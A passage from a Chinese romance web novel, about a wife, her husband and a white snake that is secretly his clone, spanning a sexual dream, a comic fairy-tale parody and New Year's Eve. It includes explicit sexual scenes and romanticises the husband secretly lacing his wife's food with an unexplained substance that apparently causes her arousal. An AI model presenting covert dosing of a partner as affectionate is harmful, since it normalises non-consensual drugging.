白蛇明显没想到事情的后果,它只是凭借着自己的本能找到了家里兰稚青气味最浓郁的地方,在这里小睡了一天而已。 沈寂气得把它下拽了床,如果不是因为知道这是自己的分身,他们两个现在又还在共感,他真的恨不得现在就帮它打成中国结。 “不要打蛇!” 兰稚青看到沈寂粗暴的动作连忙皱眉制止,“你这样做就是家暴!” “……” 沈寂闻言神色一僵,只能暂停自己的动作,试图为自己的行为找到一个合适的解释。 “我就是有点生气,想让它长长记性不要随便乱进我们的房间。” “这又不能算是它的错,它可能之前睡习惯了改不过来。” 虽然她早上的时候确实才教过白蛇不要随便上床,但是当时她说的是“如果妈妈在,那就不能上床”,而白蛇爬到床上的时候正好是他们出门的时间。 法无禁止即可为,兰稚青虽然又被吓到,但是她并不觉得白蛇是真的做错了什么。 毕竟爸爸妈妈都出门了,留守蛇一条蛇在家肯定也会孤单。 兰稚青勉强从裹得严严实实的被子里伸出一只手臂,白蛇见状立马高兴地蹭了上来,尾巴尖搭在她的手腕上轻轻上移缠绕。 这种感觉实在是有点古怪,兰稚青觉得自己汗毛倒竖,下意识收回了自己的手臂,对上白蛇茫然无措的眼神,她只能伸手又摸了摸它的头,温柔道:“我们蛇蛇一定是想爸爸了对不对?” 白蛇:“?” 沈寂:“?” 兰稚青轻轻叹了口气,开口道:“那今天晚上蛇蛇就和爸爸一起睡吧。” 白蛇:“?” 沈寂:“?” 不是…… 他为什么要在结婚一百一十一天的纪念日自己想自己,自己跟自己睡啊?! 他又不是水仙花! “宝宝,这件事情我觉得我们还是……” “就这样吧,今天晚上你和蛇在这里睡,我一会儿去客房睡。” 兰稚青在被子里摸索着穿上了自己的衣服,而后把蛇塞到沈寂的怀里,自己自顾自跳下床离开。 沈寂想要拉住她,可是怀里的超级大胖蛇又实在碍事,他只能先把白蛇拉回了它的汉堡窝,警告道:“以后就老老实实在这里待着,不许乱开家里的门,吃东西也不许一直吃个不停……” 白蛇朝沈寂吐了吐信子,自己盘在汉堡窝里恹恹地没了动静。 沈寂做完这一切才终于放下心来,他起身想要去客房再找兰稚青,可是却发现客房的门早就已经从里面锁上。 “宝宝,你怎么还锁门了……” “我要洗澡睡觉了,你如果是个好爸爸,那就也带着蛇早点睡吧。” 沈寂:“……” 他错了,他从一开始就大错特错。 如果他当时没骗兰稚青是他养了蛇,那他不用再弄出一个蠢不拉几的分身。 如果他没有弄出那条蠢蛇,那它就不会爬上他和兰稚青的床。 如果那条蠢蛇没有爬床,那他和兰稚青就会度过一个极其美妙的结婚第一百一十一天纪念日。 在沈寂试图撬开门锁,黑掉密码,用小恐龙内裤引诱兰稚青出来等等一系列做法都取得失败后,他只能满怀悔意地躺在床上,闭眼开始思考自己已经有破碎征兆的家庭。 …… “主人,主人……” 沈寂在沉思中不知不觉睡了过去,他听到耳边熟悉的声音,不由得迷茫睁开眼睛。 身上穿着女仆装,头上还戴着兔耳朵的兰稚青正面色潮红趴在沈寂的床边小声抽泣。 “乖宝,这是怎么了?” 沈寂见状吓了一跳,他连忙起身把兰稚青抱进怀里,轻声问道:“怎么突然哭了,是不是哪里不舒服?” 兰稚青含着眼泪撩开了自己的裙摆,带着哭腔道:“主人,兔兔好难受,可不可以帮兔兔先拿出来……” “……什么?” 沈寂闻言下意识低头看了一眼,他瞳孔地震,第一次觉得手足无措,结结巴巴道:“你……你怎么什么都没穿……” 兰稚青有些委屈,小声道:“因为主人不让兔兔穿……” “……我有说过这种话吗?” 沈寂大脑宕机了一下,他仔细思索了一下自己到底有没有对兰稚青提过这种既口口又口口的要求。 虽然他实在没想起来自己什么时候说过,但是他觉得这种话他确实有说出来的可能,所以直接心安理得的接受了。 他的手 被兰稚青拉着摸了上去,可是他却并没有帮兰稚青解决实际的问题,而是滑到后面轻轻揉了揉兰稚青的尾巴。 兰稚青轻呼了一声,眸中的眼泪又有些摇摇欲坠,她下意识伸手想要捂住自己的尾巴,哀求道:“不要……不要摸尾巴。” 沈寂闻言脸色微沉,冷淡道:“兔兔女仆可以这么不听话吗?” “对不起,兔兔错了。” 兰稚青扁了扁嘴,红着眼圈拿开了自己的手,转而背对着沈寂塌下了腰,“主人请摸……” “……” 这……这么直接的吗? 沈寂一时被兰稚青的行为所震撼住,他看到那团还在轻轻颤抖的毛绒尾巴,不由得有些好奇地伸手轻轻扯了扯,却发现那团尾巴还可以被拉长,只要松开手之后立马又颤颤巍巍地缩了回去。 最重要的是…… 这团尾巴好像是真的兔子尾巴?! 沈寂愣了一下,他连忙把兰稚青抱了起来,从头到脚把她打量了一遍,又伸手摸了摸兰稚青头上的耳朵,难以置信道:“宝宝,你怎么变成兔子了?” 兰稚青有些茫然地眨了眨眼睛,可怜巴巴道:“主人,青青本来就是兔兔呀。” 沈寂:“?” 他觉得自己的脑子又开始宕机,兰稚青见他走神不由得轻轻蹭了蹭他,她的脸色越来越红,小声哀求道:“主人,帮兔兔拿出来吧,兔兔想要主人的……” 沈寂顺着兰稚青的意思轻轻将手指探了进去,兰稚青哼哼唧唧地抱着他的脖颈,左一句“好难受”,右一句“求求主人了”。 他觉得自己的精神处于高度兴奋,明明马上就要拿出来了,但偏偏又故意推的更深,想要看兰稚青更崩溃的表情。 兰稚青的兔耳朵一直在他面前不停乱晃,沈寂干脆直接张嘴咬住她的耳朵尖尖,兰稚青立马哼哼唧唧挣扎得更加厉害。 她的身体颤抖了一下,带着水迹的奇怪物体掉了出来,很快便停止了震动。 沈寂低头堵住了她的嘴,他含着她的唇瓣细细研磨,让她跪坐在了自己的身上。 兰稚青呼吸急促,她的身形缓缓起伏,片刻之后又软在了沈寂的身上。 刚刚准备开始的沈寂:“……” 怎么还是只有三分钟。 …… “沈寂,沈寂……” 穿着睡裙的兰稚青抱着怀里的兔子玩偶站在沈寂的床边,她抬手轻轻晃了晃他,试图把他喊醒。 “怎么了兔兔,是不是又想要了……” 沈寂听到声音睁开眼睛,他下意识伸手把兰稚青拉到床上,手指熟练探进了她的裙摆,感受到了布料的阻隔,他不满道:“主人不是说过在家里不准穿吗……” 兰稚青猝不及防被沈寂拉到了怀里,她还没来得反应过来,意识到沈寂的动作整个人都身形一僵。 她尖叫了一声,抬手直接一巴掌扇到了沈寂的脸上。 沈寂一脸茫然地看向了兰稚青,兰稚青推开他翻身下床,咬牙切齿地给他右脸也补了一巴掌。 “现在清醒了吗?” “……清醒了。” 沈寂揉了揉自己的脸颊,无奈问道:“宝宝,你怎么过来了,是睡不着吗?” 兰稚青冷哼了一声,没好气道:“你快去看看蛇蛇,它看起来很难受,好像生病了。” 本来她是半夜睡醒有点饿了想去厨房找点吃的,结果却听到客厅有一阵接着一阵的异响。 她觉得有点诡异,所以小心翼翼过去查看,结果却发现本来应该和沈寂睡在一起的白蛇在汉堡窝里像是发了疯一样扭过来扭过去。 兰稚青担心它真的生病了,所以又跑到主卧过来把沈寂喊醒。 “生病?怎么可能……” 沈寂闻言下意识就想要否认,可是对上兰稚青认真的眼神,他只能起身跟她一起去客厅查看情况。 一向安静的白蛇在汉堡窝里扭来扭去,眼神看起来有些涣散,时不时还会嘶嘶吐着信子,带着倒刺的粉色器官若隐若现。 兰稚青神色忧虑,猜测道:“它不会有什么蛇癫疯吧?” 沈寂闻言陷入了沉默,许久才开口道:“没事,它只是在做梦。” 他抓住了白蛇的头,啪啪给了它两巴掌,刚刚从睡梦中苏醒的白蛇有些茫然,似乎还没有从梦境里彻底苏醒过来。 它对上兰稚青担忧的眼神,有些害羞地把自己盘了起来,藏好自己带着倒刺的粉色器官。 沈寂一脸冷淡,平静道:“好了,现在治好了。” 第45章 第45章胖宝宝 兰稚青对沈寂一连串的动作叹为观止,惊讶道:“原来蛇也会做梦吗?” “别的蛇不会,不过它会。” 沈寂话音刚落,刚刚还对着兰稚青一脸温驯的白蛇突然转过了头,对着他威胁性地弓起身体露出毒牙,做出即将攻击的姿态。 “……这是怎么了?” 兰稚青有些茫然,沈寂见状也有些讶异,不太确定道:“或许是真的有蛇癫疯?” 他自己的分身一觉睡醒突然对着他露牙威胁,怎么看都不太对劲吧。 “会不会是做什么噩梦了?” 兰稚青试探性摸了摸白蛇的脑袋,发现它没有反抗才勉强放下心来,温声道:“怎么对爸爸呲牙咧嘴的,是爸爸欺负你了吗?” 白蛇嘶嘶吐着信子要往兰稚青怀里钻,可是它忽视了自己的体型和体重,兰稚青猝不及防差点被它一头拱倒,幸好沈寂扶了她一把才没摔到地上。 兰稚青只能暂时先坐在地毯上,努力忽略掉一条超级大胖蛇非要趴在自己怀里的诡异感觉。 沈寂本来想伸手把它推出去,但是白蛇不知道为什么突然对他变得极其抗拒,只要他一靠近立马出现各种应激反应。 “是不是爸爸没有陪你一起睡觉你不开心了?” 兰稚青没办法,只能抱着白蛇轻声细语地安慰着。 别人家小狗小猫热炕头,她这里倒好,大半夜不睡觉还得抱着一只冷冰冰的超级大胖蛇。 人家都说一辆猫,一座狗,兰稚青估量了一下白蛇的体型,觉得它怎么着也得算个和谐号。 沈寂见白蛇一直缠着兰稚青不放,只能先暂时控制住它的意识,而后自己坐到兰稚青的身旁从她的手里接过白蛇。 兰稚青见白蛇又待在沈寂的怀里没了动静,她随口说道:“我就说让你陪着它一起睡了,这样才比较有安全感。” 沈寂忍气吞声答应了下来,实际上却是在偷偷用共感回忆白蛇到底做了什么梦。 …… 一条农夫白蛇带着妈妈下山插秧,路过一座桥的时候,妈妈突然脚滑掉进了河里。 白蛇吓了一跳,它下意识伸出尾巴想要去捞,可是下一秒河里却冒出了一个和妈妈长得一模一样的河神。 河神带着一个长着可爱耳朵的兔兔妈妈问:“年轻的蛇蛇呦,请问这个兔兔妈妈是你掉的吗?” 兔兔妈妈很可爱,耳朵还是毛绒绒的,但是它掉进河里的妈妈是人类,没有这么长的耳朵。 白蛇仔细想了想,非常诚实地摇了摇头。 河神又带着一个长着长长尾巴的妈妈浮出水面,问道:“年轻的蛇蛇呦,请问这个魔女妈妈是你掉的吗?” 魔女妈妈衣服少少的,尾巴还是爱心型的,但它掉进河里的妈妈是人类,没有这么长的尾巴。 白蛇仔细想了想,再度非常诚实地摇了摇头。 河神再度潜进水中,带着一个没有长耳朵 和尾巴的妈妈上来,问道:“年轻的蛇蛇呦,请问这个妈妈是你掉的吗?” 白蛇闻言连忙点了点头。 “你真是一条诚实的好蛇蛇。” 河神满是赞扬地看了它一眼,宣布道:“既然这样的话,作为诚实的奖励,这三个妈妈现在就都送给你了。” 三个妈妈?! 它一口气有了三个一模一样还香喷喷的妈妈! 白蛇激动地在桥上打转,一会儿用头蹭蹭魔女妈妈的尾巴,一会儿用尾巴摸摸兔兔妈妈的耳朵,它绕着人类妈妈转过来转过去,想要钻到她的怀里和她贴贴。 村里的地主沈寂碰巧路过此地,他心生贪念十分嫉妒,想要效仿白蛇的做法。 但是由于他没有妈妈,所以他拿了一件普通的睡衣扔进了河里。 和兰稚青长得一模一样的河神再度露出水面,她的手里拿着一件金丝织成的睡衣,问道:“年轻的地主呦,请问这件金灿灿像是太阳一样的金睡衣是你掉的吗?” 沈寂摇了摇头,否认道:“这件睡衣不是我的。” 河神再度下水,拿着一件银线织成的睡衣出现,问道:“年轻的地主呦,请问这件银闪闪像是月亮一样的银睡衣是你的吗?” 沈寂再度摇了摇头,否认道:“这件睡衣也不是我的。” 河神闻言重新潜进水中,又带着一件普通的布睡衣出现,开口道:“既然这样,那这件普通又便宜的布睡衣一定就是你的了。” “没错,这件睡衣是我掉的。” 沈寂顿了顿,又恶狠狠道:“但是我的睡衣上面明明镶满了宝石,一定是被你暗中偷走的!” 河神大惊失色,连忙辩解道:“我没有偷你的宝石!” “你要是拿不出宝石,那就拿人来抵!” 地主沈寂终于露出了他狰狞可怕的面孔,他把无辜的白蛇捆住,而后掏出随身携带的麻袋,一把将河神妈妈,兔兔妈妈,魔女妈妈和人类妈妈都抓了起来。 他满意拍了拍自己的麻袋,得意道:“这就叫做一网打尽。” 回忆完整场梦的沈寂:“……” 这个世界上竟然还有这么恶毒的梦。 沈寂现在十分后悔,如果说后悔自己弄出这么一个蠢玩意那实在也太迟了,他现在就后悔刚刚没有多扇它两巴掌。 深更半夜,本来他们应该躺在床上交流感情,但是现在却要坐在客厅里抱着蛇发呆。 外面自江上燃起了烟花,彩色的光芒像是簌簌的星尘,在漆黑的天空中炸开而又迅速消散。 兰稚青抱着兔子玩偶看得津津有味,但还是随口吐槽了一句,“大晚上放烟花,好没有素质哦。” 沈寂闻言回应道:“刚过零点,现在应该是除夕了。” “是吗,这么快就除夕了,总感觉今年好像没怎么有过年的感觉。” “过年的感觉是什么?” 沈寂拿过毯子把自己和兰稚青裹到了一起,故意没给旁边呼呼大睡的白蛇盖。 兰稚青见状扯了扯毯子,硬生生又把白蛇包了起来,一家四口整整齐齐坐在落地窗前看烟花。 “过年的感觉……过年的感觉就是……” 沈寂的问题让兰稚青陷入了沉思,她仔细回想起了一下之前过年的场景。 她和兰母忙上忙下把家里上上下下大扫除一遍,兰智正在磕着瓜子玩手机,扔了一地的瓜子皮。 准备年货的时候兰父和兰智刚只买自己喜欢吃的,她和兰母在厨房里忙碌,一堆人在客厅里抽烟喝酒侃大山,隔三差五还要被七大姑八大姨催婚,学历高不如嫁得好,趁着年轻多生娃,以后恢复起来生二胎快。 规矩是多多的,嘴是碎碎的,熊孩子是吵吵的,压岁钱是没有的。 别人过年回家是阖家团圆,她过年回家是返乡渡劫。 怪不得没有过年的感觉了,原来是她最近过得太舒坦了。 兰稚青打了个哈欠,她在沈寂的怀里调整了一下姿势,默默选择跳过这段话题,欲盖弥彰道:“好困……” “那我们回去睡觉吧。” 沈寂低头亲了一口她的脸颊,刚要准备把她抱回卧室,可是却被兰稚青出声制止。 “等一下,蛇怎么办?” “……我们睡我们的床,它睡它的汉堡窝。” “那它万一又做噩梦怎么办?” 沈寂:“……” 还能怎么办,直接两巴掌再把它扇醒。 最后在兰稚青的强烈要求下,他们一家四口改成了在客厅里一起打地铺。 睡觉前兰稚青抱着兔子玩偶,沈寂抱着超级大胖蛇,一家四口无比和谐。 “我能问你一个问题吗?” 兰稚青昏昏欲睡,但还是强打精神对沈寂开口。 沈寂想凑过去亲她,但是奈何怀里还有一条大胖蛇挡着,他只能无奈开口:“宝贝你问吧。” “你平时会放在菜里的玻璃瓶里装的液体到底是什么啊?” 兰稚青微微侧身,轻声道:“不瞒你说,我之前还送去研究所做过检验……” 不仅送过检验,而且还反过来给沈寂下过,可是至今也没看出什么究竟。 “……只是普通的保健品,是国外新开发的产品。” 沈寂没想到兰稚青会在此时问这个问题,他有些心虚道:“我怕你不肯吃,所以才放到菜里。” 兰稚青听到答案轻轻闭上了眼睛,随口道:“这种事你早说嘛,这么偷偷摸摸的我还以为你在给我下毒呢。” “……” 沈寂在一片黑暗中沉默了许久,他内心挣扎无比,最终还是没忍住开口道:“其实我……” 兰稚青已经抱着兔子玩偶窝在被子里睡了过去。 “……” 白蛇朝她鬼鬼祟祟探出了自己的尾巴尖尖,但是被沈寂眼疾手快抓住,他把白蛇团成一团塞进了汉堡窝里,自顾自躺了回去抱住兰稚青。 …… 凌晨五点钟,在两个孩子和他们的母亲都尚在沉睡时,沈寂准时起床做饭。 趴在汉堡窝里的白蛇悄悄探出头来看了一眼,发现沈寂人已经走远,它偷偷摸摸又蹭到了兰稚青的身旁,毫无顾忌地钻进她的怀里。 兰稚青感受到动静迷迷糊糊睁开眼睛,看到趴在自己怀里的白蛇陷入了沉默。 “……” 算了。 一回生二回熟,三回四回都习惯了。 兰稚青自暴自弃地伸手抱住了它,心里不停自我安慰。 虽然蛇胖是胖了点,但是孩子壮实也挺好的,别人怀里抱松松软软毛绒面包,她怀里抱和谐号列车。 兰稚青叹了口气,轻声道:“胖宝宝……” 白蛇一直在悄悄装睡,意识到自己真的被兰稚青抱住,它的尾巴有些激动地缠上了她的小腿。 “你喜欢妈妈叫你胖宝宝吗?” 兰稚青微微一愣,她沉思片刻,开口问道:“要不你就叫胖胖吧。” 第46章 第46章我要把你绑起来 白蛇闻言愣了一下,立马非常抗拒地摇起了头。 “不喜欢叫胖胖啊。” 兰稚青有些纳闷,她摸了摸白蛇的头,随口道:“为什么你这么聪明呢。” 明明网上那些小蛇都笨笨的,为这么沈寂养的这一条这么聪明,还能听得懂人话。 白蛇拱着头又要往兰稚青怀里钻,兰稚青眼疾手快把它用被子裹成了一只大春卷,见它在里面扑腾过来扑腾过去死活爬不出来,不禁噗嗤一声笑了出来。 “乖乖,笑什么呢,这么开心。” 沈寂从后面突然把兰稚青抱住,兰稚青吓了一跳,随口解释道:“没事,我在逗蛇玩呢。” “你们倒是相处得很不错啊。” 沈寂轻轻捏了捏她的耳垂,故作随意问道:“现在不怕蛇了吗?” 兰稚青没有多想,实话实说道:“嗯,蛇蛇它很聪明,仔细看看还是蛮可爱的,夏天抱起来应该会很舒服。” 沈寂闻言笑了笑,他 凑上去想要亲兰稚青的脸颊,但是却被兰稚青塞了一只裹成大春卷的蛇在怀里。 兰稚青自己则是抓起自己放在旁边的兔子玩偶和手机,趁机起身回房间洗漱。 白蛇在被子里扭来扭去,好不容易探出了个头,刚刚想吐个信子装装可爱,却发现抱着自己的从兰稚青变成了沈寂,它立马翻脸,威胁性露出了自己的毒牙。 沈寂:“……” 这蠢蛇到底哪里聪明了?! 兰稚青倒是不知道刚刚在自己面前还左摇右晃装可爱的白蛇在她离开后立马本性暴露。 她百无聊赖刷着手机上的消息,发现手机上突然弹出了一条好友验证消息。 【我是纪云飞。】 ……纪云飞? 好眼熟的名字。 兰稚青皱着眉头思索了许久,终于想起自己到底是在哪里见过这个名字。 这不就是那个当时给她塞名片的绿毛道士吗?! 可是他为什么会有她的联系方式,现在信息泄露已经到了这种地步了吗? 兰稚青心里觉得奇怪,但为了保险起见还是选择先通过了他的验证消息,想要一问究竟。 “宝宝,你在和谁聊天呢……” 沈寂幽幽的声音突然从旁边传来,兰稚青手机都差点被吓得摔到地上,她只能心有余悸看了沈寂一眼,抱怨道:“你怎么走路都没有声音的?” “是你自己一直在盯着手机,都没注意到我过来。” 沈寂把头埋在她的颈窝,有些失落道:“本来今天想和你出门逛逛的,可是外面雪下得正大……” “那就不出门了,在家待着也挺好的。” 兰稚青对此倒是没什么介意的,本来她就是典型的宅女,平时只有打工兼职这种必要的时候才会出门,现在大雪封路不便出行,正好还省得她去给沈大小姐当洋娃娃。 “你说的也没错,我也感觉在家里待着也挺好的……” 沈寂有些暧昧地掐住了她的腰,还未等兰稚青反应过来,她就突然被沈寂抱到了洗手台上,裸。露的皮肤突然接触到了冰凉的大理石台面,她整个人都打了个激灵,下意识就想要把沈寂推开。 沈寂从善如流按住了她的手,他微微低头和兰稚青接吻,像是打算把昨天晚上没有实现的事情今天一并找补回来。 兰稚青见没办法推开他也只得作罢,她的手指改为攥紧沈寂的衣服,像是引颈受戮的羔羊一样接受着他的索取。 砰砰—— “……什么声音?” 被亲的迷迷糊糊的兰稚青闻声突然清醒,她下意识想要去查看,可是沈寂却皱了皱眉,又凑过去堵住了她的嘴,含糊道:“没事,可能是有风吧。” 他的手指已经不知不觉间解开了兰稚青的睡衣扣子,只差一步就可以把这只小羊羔一口直接吞了下去。 砰砰—— “不对,这不是风的声音。” 门外再度传来熟悉的声音,兰稚青听了片刻,笃定道:“是敲门的声音。” “……宝宝,你一定是听错了,怎么会有敲门的声音呢。” 沈寂脸上的笑容都快维持不住了,还未等他来得及采取措施,兰稚青就已经一把推开了他,系好扣子,径直打开了卧室门。 白蛇不断撞着卧室门,看到兰稚青出来,它立马用尾巴卷着一支硕大无比的淡紫色蝴蝶兰递到她的面前,兴奋朝她嘶嘶吐着信子。 “好漂亮的花啊,是送给妈妈的吗?” 兰稚青受宠若惊地接过了那支花,仔细端详了片刻,纳闷道:“不过咱们家什么时候有这么大的蝴蝶兰了。” 沈寂:“……” 那是他今天早上才让人空运送过来的年宵花,就这么被这条蠢蛇折了借花献佛了。 兰稚青高高兴兴跟着白蛇一起离开,沈寂憋着一股火跟在后面,心里再度后悔自己为什么要弄出这么一个祸害来坑自己。 他和兰稚青一起吃早餐的时候,兰稚青忙着喂蛇。 他兢兢业业打扫卫生尽显贤夫风采的时候,兰稚青忙着给蛇重新铺窝。 他无数次故意路过兰稚青面前的时候,兰稚青让他闲的没事干就削个苹果给蛇吃。 在强烈的脱敏训练后,兰稚青对蛇的恐惧已经基本消除,而白蛇也终于可以完美融入这个家,它的头上顶着兰稚青刚刚织出来的红色小帽子,盘在兰稚青身边津津有味看着屏幕上正在播的《小飞蛇历险记》,时不时还有路过的仆人沈寂给他削苹果喂橘子。 兰稚青对看动画片没什么兴趣,她拿着手机和纪云飞聊天,开门见山直接发问:【你怎么找到我的联系方式的。】 对面似乎很忙,许久才发来一张照片,上面是印着兰稚青照片和名字的学生卡。 【上次你撞到我的时候,我捡到了你的学生证,你还记得我吧,年前在龙华商城,我是白龙山的道士。】 兰稚青点开图片看了一眼,发现竟然真的是自己的学生卡,她皱了皱眉,有些警惕回复道:【谢谢,但是这件事已经过去快一个月了,你为什么不早点联系我。】 【大妹子,我没有你的联系方式哇。】 纪云飞发了一个痛哭的表情包,又回复道:【我光是找你就费了好大一番功夫,幸好我师兄的堂姐的表姑的邻居的女儿是你们学校后勤老师,不然我真的只能大海捞针了。】 兰稚青盯着他那一串话看得头晕,A大学生卡补办一张只需要十块钱,平常人捡到校园卡要么直接去网上发帖,要么交给保卫室失物招领,像纪云飞这种绕了一大圈找上门的还真够少见的。 【麻烦你把我的校园卡直接丢掉或者销毁就好。】 兰稚青面不改色撒了个无关紧要的谎,【我已经重新挂失补办了,所以这张卡现在已经报废了。】 对面回了一个OK的手势,兰稚青刚刚准备关上手机,纪云飞却又补充了一句,【你养的小宠物如果出了事记得及时联系我,新春特惠我可以给你打八折。】 ……小宠物? 兰稚青见状有些狐疑地看了一眼旁边的白蛇,她犹豫片刻,还是试探性发了条消息过去。 【方便问一下,你是怎么知道我家里有养宠物的吗?】 【因为我闻到了。】 纪云飞补充道:【我在你的身上闻到了蛇的气味。】 蛇的气味。 兰稚青有些疑惑地抬起手臂闻了闻,并没有闻到什么奇怪的味道,她又转而看向旁边正在聚精会神看动画片的白蛇,凑过去又抱着它仔细闻了闻。 哪里有蛇的味道,明明就只有普通的香味啊…… 白蛇猝不及防被兰稚青抓住,它有些疑惑地歪了歪头,似乎还没有反应过来兰稚青是在做什么。 兰稚青见状只能顺势给它喂了块苹果,随口道:“没事,蛇蛇身上和爸爸一样香香的。” 香香? 妈妈身上才是香香的! 白蛇闻言又兴奋了起来,它试图借机往兰稚青怀里钻,兰稚青一时不察,手指直接擦过了白蛇的尖锐的毒牙,幸好沈寂及时赶来把白蛇拽了下去。 一滴鲜血在指尖缓缓沁出,兰稚青愣了一下,她下意识看向沈寂,不太确定道:“它应该是无毒的吧?” 沈寂盯着她沁血的指尖半晌,神色似乎有些微妙,许久才慢吞吞道:“算是无毒的。” “……那就好。” 兰稚青闻言松了口气,她自己起身用流水冲洗了一下伤口才回到了影音室,见白蛇像是犯了错一样趴在抱枕上盯着她,她主动摸了摸它的头,温声道:“妈妈没事,但是下次不准再突然扑到妈妈身上了。” 今天是 除夕,外面大雪纷飞,也还是挡不住喜气洋洋的氛围,江边更是早早就挂上了鲜红的灯笼和彩灯。 然而他们家却一起窝在影音室里陪着一条蛇看动画片。 沈寂本来想准备一顿丰盛的年夜饭庆祝他和兰稚青度过的第一个新年,但是看目前的形势,他觉得这饭做了也吃不上。 在一片黑暗之中,唯有面前屏幕的光幽幽照亮他们的面庞,兰稚青和白蛇看得认真,沈寂却悄无声息在毯子里缓缓摸上了她的大腿。 “宝宝,我们要不要……” “不要。” 兰稚青聚精会神盯着屏幕,随手便把沈寂的手拨到了一旁。 沈寂没放弃,他等了一会儿,手指又暗示性地搭在了她的腰上,开口道:“动画片什么时候都可以看,不如我们现在还是做点更有意义的事情怎么样。” “别碰我,正看到精彩的时候呢。” 兰稚青再度推开了沈寂,不仅如此,她还起身给自己换了个位置,免得一会儿沈寂又对她动手动脚 沈寂见状也并不恼怒,他弯了弯眉眼,那张漂亮的面孔上满是纵容,含笑道:“既然这样,那你就和它在这里慢慢看吧,我先去做饭了。” 兰稚青闻言随口答应了一声,并没有过多在意。 见沈寂离开了房间,白蛇又开始蠢蠢欲动,它慢吞吞又蹭到了兰稚青的附近,想要用头去蹭她的脸颊。 兰稚青嫌烦,只是像是抱抱枕一样抱着它,在温暖的室内,白蛇的身体还是微凉的,就像是抱住了一块带着纹路的玉石。 可是她怎么觉得越来越热了…… 兰稚青把盖在身上的毯子拿开,试图抱紧怀里的白蛇给自己降温。 白蛇安静趴在兰稚青的怀里格外乖顺,可是兰稚青却似乎变得有些焦躁。 她抓起放在旁边的果茶喝了一口,可是依旧没有压下自己血液里奇怪的躁动感。 兰稚青摸了摸自己的额头,可是体温却依旧正常,好像并不是在发烧。 白蛇似乎也察觉到了兰稚青的焦躁,它有些担心地蹭了蹭她,尾巴不经意间划过了她的腰间,兰稚青却突然身形一僵。 她下意识把怀里的白蛇推开,像是逃跑一样开门离开,在家里四处寻找沈寂的踪迹。 “宝宝,你怎么出来了,不看动画片了吗?” 沈寂此时在厨房慢条斯理切着蜜瓜,看到兰稚青进来,他随手塞了一块到她的嘴里,浅笑道:“甜吗?” 兰稚青无意识咀嚼着清甜水润的蜜瓜,可是自己的干渴却没有得到丝毫的缓解,反而像是浇上了火油的火焰一样越烧越旺。 她盯着沈寂的侧脸发呆,有些犹豫地抬手扯了扯他的衣角,小声道:“那个,我们……” “别闹了宝宝,我在做饭呢。” 沈寂不动声色拂开了她的手,继续面不改色切着面前的蜜瓜,看起来丝毫不为所动。 兰稚青抿了抿唇,她只能再度鼓起勇气,“要不要亲亲……” 沈寂闻言看了她一眼,他轻轻抬起兰稚青的下巴亲了一口,快到几乎一触即离,完全没给兰稚青任何反应时间。 …… 这就没了吗? 兰稚青有些诧异地摸了摸自己的嘴唇,她神色隐隐有些委屈,小声道:“不是这种亲亲……” “乖乖,我正在忙呢,你要不先去和蛇玩一会儿?” 沈寂轻飘飘打断了她的话,白蛇在厨房外探头观察着他们,它闻言试探性用尾巴尖尖去勾兰稚青的脚踝。 可是这一次兰稚青却没有再对它温声软语喊它蛇蛇,而是匆匆摸了摸它的头,脚步飞快地转身离开。 果然是风水轮流转,刚刚她不愿意搭理沈寂,现在沈寂又故意报复不搭理她。 兰稚青心中暗恼,她把自己关在了房间里,躺在床上打了几个滚试图缓解自己的不适。 好难受…… 到底是哪里出了问题,怎么又莫名其妙像上次一样。 偏偏沈寂还不愿意理她…… 兰稚青无意识夹了夹腿,犹豫了片刻还是起身拉上了窗帘,自己默默钻到了被子里,想要试着自己动手丰衣足食。 白蛇似乎又在外面砰砰撞门,可是这次兰稚青却没空再多理会它,她把自己埋在柔软的被子里,按照沈寂所教的办法实践到自己的身上。 好累…… 手好酸,为什么还没有结束。 兰稚青夹着被子徒劳蹭了蹭,热意一路烧遍了她的全身,她紧紧闭着眼睛,身上原本穿着的睡衣早就因为她的动作变得散乱。 “宝宝,你对自己怎么总是这么心慈手软。” 一道平静的声音突然自身旁响起,兰稚青猛然睁开眼睛,发现沈寂不知道什么时候站在了她的床边,正一脸兴味地观察着她的动作。 兰稚青脸色陡然变得通红,她下意识想要抽出自己的手,可是偏偏指甲重重划过了关键位置,她身形颤抖了一下,对上沈寂似笑非笑的眼神,她的大脑在瞬间一片空白。 沈寂的手顺着被子的缝隙摸了进去,指尖顿时陷入了濡湿的柔软之中。 “宝宝,看来你自己玩得还挺开心的。” 沈寂挑了挑眉,他作势要收回自己的手,慢条斯理道:“既然不需要我帮忙,那我就先出去了。” “别……别走。” 兰稚青闻言下意识夹紧了他的手臂,死活不愿意让自己眼前的救命稻草离开,带着哭腔道:“你帮帮我……” “乖乖,我是很想帮你,但是你有没有听到,你的蛇蛇还在外面敲门呢。” 沈寂用另一只手捏了捏她的脸颊,似笑非笑道:“指不定它又是过来给你送花的。” 这人怎么这么记仇…… 兰稚青恨不得现在就邦邦给他两拳,可是偏偏人在屋檐下不得不低头,她只能扁了扁嘴,可怜巴巴道:“我不要花了,你帮帮我……” 她见沈寂还是没什么反应,主动攀上了他的肩膀毫无章法和他接吻。 即使被沈寂教了这么多次,她还是会在着急的时候原形毕露。 沈寂随手按亮了壁灯,柔和的灯光在一瞬间照亮了室内的昏暗。 兰稚青有些茫然,猝不及防被从黑暗里拖了出来,让她少了可以掩饰的遮羞布,她无所适从,红着脸就要躲回被子里。 沈寂见状并没有阻止,他只是也顺势抽回了自己的手,转身就打算离开。 兰稚青只能又掀开被子死死拽住了他。 “宝宝,我是过时不候的,再要请我帮你的话是要付出一点代价的。” 沈寂低头亲了她一口,温声道:“反正你自己也可以做的很好,实在不行你就自己来。” 兰稚青抿了抿唇,小声道:“……不要,你帮我。” 自己动手又累效率又低,她只想不劳而获坐享其成。 “好吧,老公可以帮你,但是我们要提前讲好条件。” 沈寂顿了顿,慢条斯理道:“要么你自己再给我表演一遍作为报酬,要么我要舔舔……” “我选第二个!” 兰稚青毫不犹豫做出了选择,可是沈寂却没有任何动作,他似笑非笑地看了她一眼,补充道:“但前提是我要把你绑起来哦。” “……” 第47章 第47章我真该死啊 “……为什么要把我绑起来。” “因为宝宝你总是喜欢恩将仇报。” 沈寂说的一脸理所当然,解释道:“明明你很舒服,但是每一次都要用腿夹我。” “我才没有!” 兰稚青气得脸色涨红,直接拒绝了沈寂的条件,果断道:“两个我都不选!” “既然这样那我们就算交易失败了。” 沈寂闻言无奈笑了笑,毫不犹豫起身离开。 兰稚青没想到他走得这么干脆,但是她又拉不下面子去求沈寂,只能气恼地把自己重新埋进了被子里。 